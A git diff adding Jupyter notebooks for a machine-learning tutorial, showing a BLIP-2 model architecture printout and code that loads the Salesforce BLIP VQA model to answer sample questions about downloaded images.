+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (6): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (crossattention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (7): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (8): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (crossattention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (9): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (10): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (crossattention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (11): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "      )\n",
+       "    )\n",
+       "  )\n",
+       "  (language_projection): Linear(in_features=768, out_features=2560, bias=True)\n",
+       "  (language_model): OPTForCausalLM(\n",
+       "    (model): OPTModel(\n",
+       "      (decoder): OPTDecoder(\n",
+       "        (embed_tokens): Embedding(50272, 2560, padding_idx=1)\n",
+       "        (embed_positions): OPTLearnedPositionalEmbedding(2050, 2560)\n",
+       "        (final_layer_norm): LayerNorm((2560,), eps=1e-05, elementwise_affine=True)\n",
+       "        (layers): ModuleList(\n",
+       "          (0-31): 32 x OPTDecoderLayer(\n",
+       "            (self_attn): OPTAttention(\n",
+       "              (k_proj): Linear(in_features=2560, out_features=2560, bias=True)\n",
+       "              (v_proj): Linear(in_features=2560, out_features=2560, bias=True)\n",
+       "              (q_proj): Linear(in_features=2560, out_features=2560, bias=True)\n",
+       "              (out_proj): Linear(in_features=2560, out_features=2560, bias=True)\n",
+       "            )\n",
+       "            (activation_fn): ReLU()\n",
+       "            (self_attn_layer_norm): LayerNorm((2560,), eps=1e-05, elementwise_affine=True)\n",
+       "            (fc1): Linear(in_features=2560, out_features=10240, bias=True)\n",
+       "            (fc2): Linear(in_features=10240, out_features=2560, bias=True)\n",
+       "            (final_layer_norm): LayerNorm((2560,), eps=1e-05, elementwise_affine=True)\n",
+       "          )\n",
+       "        )\n",
+       "      )\n",
+       "    )\n",
+       "    (lm_head): Linear(in_features=2560, out_features=50272, bias=False)\n",
+       "  )\n",
+       ")"
+      ]
+     },
+     "execution_count": 5,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "model.to(device)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 6,
+   "id": "458a2709-b904-49af-8f10-41905e1cfdc8",
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "import urllib.parse as parse\n",
+    "import os\n",
+    "\n",
+    "# a function to determine whether a string is a URL or not\n",
+    "def is_url(https://github.com/string):\n",
+    "    try:\n",
+    "        result = parse.urlparse(string)\n",
+    "        return all([result.scheme, result.netloc, result.path])\n",
+    "    except:\n",
+    "        return False\n",
+    "    \n",
+    "# a function to load an image\n",
+    "def load_image(image_path):\n",
+    "    if is_url(https://github.com/image_path):\n",
+    "        return Image.open(requests.get(image_path, stream=True).raw)\n",
+    "    elif os.path.exists(image_path):\n",
+    "        return Image.open(image_path)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 7,
+   "id": "af353956-7f42-43b3-bd5a-c720078e8a65",
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "raw_image = load_image(\"http://images.cocodataset.org/test-stuff2017/000000007226.jpg/")"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 21,
+   "id": "bce7e019-d042-4f3d-9fc0-32617257f03c",
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "question = \"a\"\n",
+    "inputs = processor(raw_image, question, return_tensors=\"pt\").to(device, dtype=torch.float16)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 22,
+   "id": "8d989e92-71ed-438d-9150-31589ba00fb1",
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      " vintage car driving down a street\n",
+      "\n"
+     ]
+    }
+   ],
+   "source": [
+    "out = model.generate(**inputs)\n",
+    "print(processor.decode(out[0], skip_special_tokens=True))"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 24,
+   "id": "d27e36e1-14bc-4535-9397-d716458594ea",
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "question = \"a vintage car driving down a street\"\n",
+    "inputs = processor(raw_image, question, return_tensors=\"pt\").to(device, dtype=torch.float16)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 25,
+   "id": "ebeea2b5-7b4d-4ef4-a2dc-c06876897361",
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      " with a man in the back seat\n",
+      "\n"
+     ]
+    }
+   ],
+   "source": [
+    "out = model.generate(**inputs)\n",
+    "print(processor.decode(out[0], skip_special_tokens=True))"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 25,
+   "id": "b095054a-f62e-4b2e-b3af-6a5d69dae581",
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "question = \"Question: What is the estimated year of these cars? Answer:\"\n",
+    "inputs = processor(raw_image, question, return_tensors=\"pt\").to(device, dtype=torch.float16)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 26,
+   "id": "ebd05f34-0d2e-46bd-a742-aca57138fb54",
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      " The cars are from the early 1900's\n",
+      "\n"
+     ]
+    }
+   ],
+   "source": [
+    "out = model.generate(**inputs)\n",
+    "print(processor.decode(out[0], skip_special_tokens=True))"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 87,
+   "id": "7f16721e-cc71-4c5f-b352-920381177b06",
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "question = \"Question: What is the color of the car? Answer:\"\n",
+    "inputs = processor(raw_image, question, return_tensors=\"pt\").to(device, dtype=torch.float16)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 88,
+   "id": "4e49e1aa-6260-49a6-a7ed-67e356591948",
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      " Green\n",
+      "\n"
+     ]
+    }
+   ],
+   "source": [
+    "out = model.generate(**inputs)\n",
+    "print(processor.decode(out[0], skip_special_tokens=True))"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "id": "373c0776-1c53-467a-b9c4-afdc71702ef2",
+   "metadata": {},
+   "outputs": [],
+   "source": []
+  }
+ ],
+ "metadata": {
+  "kernelspec": {
+   "display_name": "Python 3 (ipykernel)",
+   "language": "python",
+   "name": "python3"
+  },
+  "language_info": {
+   "codemirror_mode": {
+    "name": "ipython",
+    "version": 3
+   },
+   "file_extension": ".py",
+   "mimetype": "text/x-python",
+   "name": "python",
+   "nbconvert_exporter": "python",
+   "pygments_lexer": "ipython3",
+   "version": "3.10.6"
+  }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 5
+}
diff --git a/machine-learning/visual-question-answering/VisualQuestionAnswering_PythonCodeTutorial.ipynb b/machine-learning/visual-question-answering/VisualQuestionAnswering_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..0c03acfb
--- /dev/null
+++ b/machine-learning/visual-question-answering/VisualQuestionAnswering_PythonCodeTutorial.ipynb
@@ -0,0 +1,6304 @@
+{
+  "cells": [
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "x6rzruZmaotA",
+        "outputId": "55c2cae1-5a4d-4cb5-f3d1-863ac0e98f86"
+      },
+      "outputs": [],
+      "source": [
+        "!pip install -qU transformers"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "HBn28oF_bApo"
+      },
+      "source": [
+        "# BLIP\n",
+        "\n"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "s_eFLXZ-bGtT"
+      },
+      "source": [
+        "- https://github.com/huggingface/transformers/blob/main/src/transformers/models/blip/modeling_blip.py\n",
+        "- https://huggingface.co/Salesforce/blip-vqa-base/tree/main"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "8PfNcIxYa8kz"
+      },
+      "outputs": [],
+      "source": [
+        "import requests\n",
+        "from PIL import Image\n",
+        "from transformers import BlipProcessor, BlipForQuestionAnswering\n",
+        "import torch"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "BXLVku3Jcjrm"
+      },
+      "outputs": [],
+      "source": [
+        "# load the image we will test BLIP on\n",
+        "img_url = 'https://storage.googleapis.com/sfr-vision-language-research/BLIP/demo.jpg'\n",
+        "image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')\n",
+        "image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 241,
+          "referenced_widgets": [
+            "4f70b3f18d12429cb3f6a8921a168c00",
+            "f74bcd4d2ab04c6cb3220c2fc64257b1",
+            "76a37f30e9004067b8ba520191d64ac0",
+            "f9d5339a3d464d18846f943017f90257",
+            "5bd2087051324e1db5ca06eb9c098d19",
+            "494a7d5322c84f08b713936633c10d8a",
+            "366f53d87c6c4b0aa6fd3d167f01c5c3",
+            "af0a3bf66e8e433db1bea3b41a0c052a",
+            "9075203ea622474883993bb09cb2636c",
+            "e0a6fa485edb419da6b4c33e6d45cd9f",
+            "946e33fee00f4c2aac6406ffe83c419c",
+            "8b64a23dfc724928a5d23c904dc1595f",
+            "0324f20083ee42268aac2e7dce294907",
+            "228cbb4147cb4fcdb21866278e8f218c",
+            "88243d6adfd04c9faa5732bafc1ae615",
+            "dad6452f3a87437fbf6b691f56614711",
+            "1a27d88a39e64a09bd7007e066be7caf",
+            "2c1891a4c26042c08956982391039dfe",
+            "92d4a3333635430a88cdc38ed8158f49",
+            "f0bf68a25bf7446282f00c22d1093208",
+            "4289a56219ec41acaafdb60d3b7d1360",
+            "8005f31a31ed48d8b1a3e912b3aed139",
+            "ff519a1b9a504a13899a49385b6b9564",
+            "72e9c18021664b9f812916541fc51c7a",
+            "4e9c85779ed3400a8d8b3f14f08770b6",
+            "b11a5cb28f474ba9bd6dc98f5772fcda",
+            "430fa54d746a4743bc162b8e835a093c",
+            "1d4dd1aae7c7452298706a60c84f901d",
+            "e6998fe4f2aa4ef595e9b30b794c5549",
+            "f83d235f098a428d9f6519bba64a385f",
+            "945160da858a439d90de50ffd671396a",
+            "c697ecf18cad4be6990af0899da9503c",
+            "64f4db4f35324cab9abab95c86307a89",
+            "51838f3af71a4535afed388649e691fe",
+            "acf34873eae8493fbf953b1a8a65e177",
+            "872540ef74d6459a99e4647d2a643176",
+            "bed467f249ca47ea8b3ea57cc365dd22",
+            "a5a8f2b461064eecad9cefa57eb89423",
+            "602461cd7b5c471394ee2920b067a8f6",
+            "c163abebb6434568ac10621f99dee880",
+            "4dd5e64fe44c495d8d8d912f0ac06b82",
+            "3b88701571a342b0abea71a105fed88b",
+            "54dc179584c241dea17f59f2b9e93f47",
+            "8a7d1c368a9548d0aecb6564d7aa1bb7",
+            "a97a2a99008f4ac6be1d6377d04504fa",
+            "b217d9ea08a14ff49d274fc2aea760f8",
+            "d500132d4c434179975a124e00c4cec3",
+            "312d2d503a0f47278b47c03ddef6109f",
+            "1edf085b64f24088bd70a6a6954c8156",
+            "3bee2b1a38cc4f68a614ac2460b45f37",
+            "400bbbc0ce6e42ad9f0916a428aeff83",
+            "3bc21fd430c3426283585a874ec1ce94",
+            "37dc882c932347788e668b941222f7a2",
+            "6aedd062950c4596b734f7a98a9cce9c",
+            "5a9aba83d9734e01902c5b9bcb534ac4",
+            "14c199d355824bcfb14460c8e786aa93",
+            "18dcfde5f4c042a08b76acca0e1a6db8",
+            "e9e7c07fa5544978840f4b5c24372ff0",
+            "27635f5481f1430f9e7ec0404f5c393b",
+            "b3c518bde5bc4a5bb2c2f6528d361cc0",
+            "20e7de8cc9e34728871e040e7fe9d80d",
+            "fb7358b3d7c84e058b333694d793ef98",
+            "2a334258549d49c7ab12ae3f07f69ea9",
+            "63994cb769ce402194b4a70ea1079a3d",
+            "8c5762e71db644cfac50336e5de12ec6",
+            "2c5f5b6d6ca04df4b2fc874fdf0ca83c",
+            "ce764110e55b47469fcd0e929808d801",
+            "0c59eab53a8649cf88ed55d135981e1a",
+            "6bfee089c2c6462daf9ccd9baae21cc3",
+            "5af7e60d5fe142f6a2fb59b92c19715b",
+            "06d45a612716458e84cff4dadacde353",
+            "9d9e48cd4d5f4a0c97d7f13d6e727c09",
+            "8f1974332d694edd968fe5bb9ecba070",
+            "1a5e688c08c747eaaf5ca99b9812eec1",
+            "89e75ba649f948e0aa1d458b9800b480",
+            "10bcc231a8ba4b809be9c7c6b95b5b53",
+            "a5506cc4b437400cbfff631c20110891"
+          ]
+        },
+        "id": "MJZHoYa6a8nJ",
+        "outputId": "020751ef-b433-468b-8c8a-a5ea1c9a83d6"
+      },
+      "outputs": [],
+      "source": [
+        "# load necessary components: the processor and the model\n",
+        "processor = BlipProcessor.from_pretrained(\"Salesforce/blip-vqa-base\")\n",
+        "model = BlipForQuestionAnswering.from_pretrained(\"Salesforce/blip-vqa-base\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "aEYmYsrCeB8m"
+      },
+      "outputs": [],
+      "source": [
+        "def get_answer_blip(model, processor, image, question):\n",
+        "    \"\"\"Answers the given question and handles all the preprocessing and postprocessing steps\"\"\"\n",
+        "    # preprocess the given image and question\n",
+        "    inputs = processor(image, question, return_tensors=\"pt\")\n",
+        "    # generate the answer (get output)\n",
+        "    out = model.generate(**inputs)\n",
+        "    # post-process the output to get human friendly english text\n",
+        "    print(processor.decode(out[0], skip_special_tokens=True))\n",
+        "    return"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "JVB65c-ra8rs",
+        "outputId": "5d1c01ef-6c53-42a9-eba9-82a687791d7e"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 1\n",
+        "question = \"how many dogs are in the picture?\"\n",
+        "get_answer_blip(model, processor, image, question)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "yE36DMXxa8yl",
+        "outputId": "88d2e84a-079a-4c8a-877c-4405f9d11757"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 2\n",
+        "question = \"how will you describe the picture?\"\n",
+        "get_answer_blip(model, processor, image, question)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "c2HiOLFLa809",
+        "outputId": "ff60422e-4741-40c8-c486-ad405aceb52a"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 3\n",
+        "question = \"where are they?\"\n",
+        "get_answer_blip(model, processor, image, question)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "dreS75cKrHeT",
+        "outputId": "11d4e51a-7821-48e5-cd94-005a8a39140b"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 4\n",
+        "question = \"What are they doing?\"\n",
+        "get_answer_blip(model, processor, image, question)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "Mu7OZMR1rR7Z",
+        "outputId": "70528cb7-e2ff-4a4a-db1b-f941d6745bb5"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 5\n",
+        "question = \"What the dog is wearing?\"\n",
+        "get_answer_blip(model, processor, image, question)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "8bBwZxCXa83E"
+      },
+      "outputs": [],
+      "source": [
+        "class BLIP_VQA:\n",
+        "    \"\"\"Custom implementation of the BLIP model. The code has been adapted from the official transformers implementation\"\"\"\n",
+        "\n",
+        "    def __init__(self, vision_model, text_encoder, text_decoder, processor):\n",
+        "        \"\"\"Initialize various objects\"\"\"\n",
+        "        self.vision_model = vision_model\n",
+        "        self.text_encoder = text_encoder\n",
+        "        self.text_decoder = text_decoder\n",
+        "        self.processor = processor\n",
+        "\n",
+        "    def preprocess(self, img, ques):\n",
+        "        \"\"\"preprocess the inputs: image, question\"\"\"\n",
+        "        # preprocess using the processor\n",
+        "        inputs = self.processor(img, ques, return_tensors='pt')\n",
+        "        # store the pixel values of the image, input IDs (i.e., token IDs) of the question and the attention masks separately\n",
+        "        pixel_values = inputs['pixel_values']\n",
+        "        input_ids = inputs['input_ids']\n",
+        "        attention_mask = inputs['attention_mask']\n",
+        "\n",
+        "        return pixel_values, input_ids, attention_mask\n",
+        "\n",
+        "\n",
+        "    def generate_output(self, pixel_values, input_ids, attention_mask):\n",
+        "        \"\"\"Generates output from the preprocessed input\"\"\"\n",
+        "\n",
+        "        # get the vision outputs (i.e., the image embeds)\n",
+        "        vision_outputs = self.vision_model(pixel_values=pixel_values)\n",
+        "        img_embeds = vision_outputs[0]\n",
+        "\n",
+        "        # create attention mask with 1s on all the image embedding positions\n",
+        "        img_attention_mask = torch.ones(img_embeds.size()[: -1], dtype=torch.long)\n",
+        "\n",
+        "        # encode the questions\n",
+        "        question_outputs = self.text_encoder(input_ids=input_ids,\n",
+        "                                             attention_mask=attention_mask,\n",
+        "                                             encoder_hidden_states=img_embeds,\n",
+        "                                             encoder_attention_mask=img_attention_mask,\n",
+        "                                             return_dict=False)\n",
+        "\n",
+        "        # create attention mask with 1s on all the question token IDs positions\n",
+        "        question_embeds = question_outputs[0]\n",
+        "        question_attention_mask = torch.ones(question_embeds.size()[:-1], dtype=torch.long)\n",
+        "\n",
+        "        # initialize the answers with the beginning-of-sentence IDs (bos ID)\n",
+        "        bos_ids = torch.full((question_embeds.size(0), 1), fill_value=30522)\n",
+        "\n",
+        "        # get output from the decoder. These outputs are the generated IDs\n",
+        "        outputs = self.text_decoder.generate(\n",
+        "            input_ids=bos_ids,\n",
+        "            eos_token_id=102,\n",
+        "            pad_token_id=0,\n",
+        "            encoder_hidden_states=question_embeds,\n",
+        "            encoder_attention_mask=question_attention_mask)\n",
+        "\n",
+        "        return outputs\n",
+        "\n",
+        "\n",
+        "    def postprocess(self, outputs):\n",
+        "        \"\"\"post-process the output generated by the text-decoder\"\"\"\n",
+        "\n",
+        "        return self.processor.decode(outputs[0], skip_special_tokens=True)\n",
+        "\n",
+        "\n",
+        "    def get_answer(self, image, ques):\n",
+        "        \"\"\"Returns human friendly answer to a question\"\"\"\n",
+        "\n",
+        "        # preprocess\n",
+        "        pixel_values, input_ids, attention_mask = self.preprocess(image, ques)\n",
+        "        # generate output\n",
+        "        outputs = self.generate_output(pixel_values, input_ids, attention_mask)\n",
+        "        # post-process\n",
+        "        answer = self.postprocess(outputs)\n",
+        "        return answer"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "WBxppK89bhZP"
+      },
+      "outputs": [],
+      "source": [
+        "blip_vqa = BLIP_VQA(vision_model=model.vision_model,\n",
+        "                    text_encoder=model.text_encoder,\n",
+        "                    text_decoder=model.text_decoder,\n",
+        "                    processor=processor)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "YyASdKlAbhbm",
+        "outputId": "060fd21d-2042-418e-88de-e87f4561671d"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 1\n",
+        "ques = \"how will you describe the picture?\"\n",
+        "print(blip_vqa.get_answer(image, ques))\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 217
+        },
+        "id": "BOErJNo1tG6-",
+        "outputId": "25b06783-738f-476e-b952-4d8e38e5aa7c"
+      },
+      "outputs": [],
+      "source": [
